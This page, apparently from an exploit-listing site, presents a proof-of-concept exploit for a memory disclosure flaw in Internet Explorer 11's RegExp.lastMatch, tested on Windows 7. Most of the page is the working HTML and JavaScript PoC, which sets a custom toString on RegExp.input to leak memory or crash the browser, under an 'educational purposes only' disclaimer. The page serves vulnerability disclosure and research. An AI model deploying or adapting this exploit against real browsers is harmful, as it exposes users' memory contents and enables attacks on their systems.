Internet explorer regexp.lastmatch memory disclosure Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-03-20 | Type : dos | Platform : windows
This exploit / vulnerability Internet explorer regexp.lastmatch memory disclosure is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.

This was tested on IE11 running on Window 7 64-bit with the latest patches applied.

PoC:

=========================================
*/

<!-- saved from url=(0014)about:internet -->
<script>

function main() {
RegExp.input = {toString: f};
alert(RegExp.lastMatch);
}

var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");

function f() {
String.prototype.match.call(input, "bbbbbbbbbb");
}

main();

</script>

/*
=========================================

Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/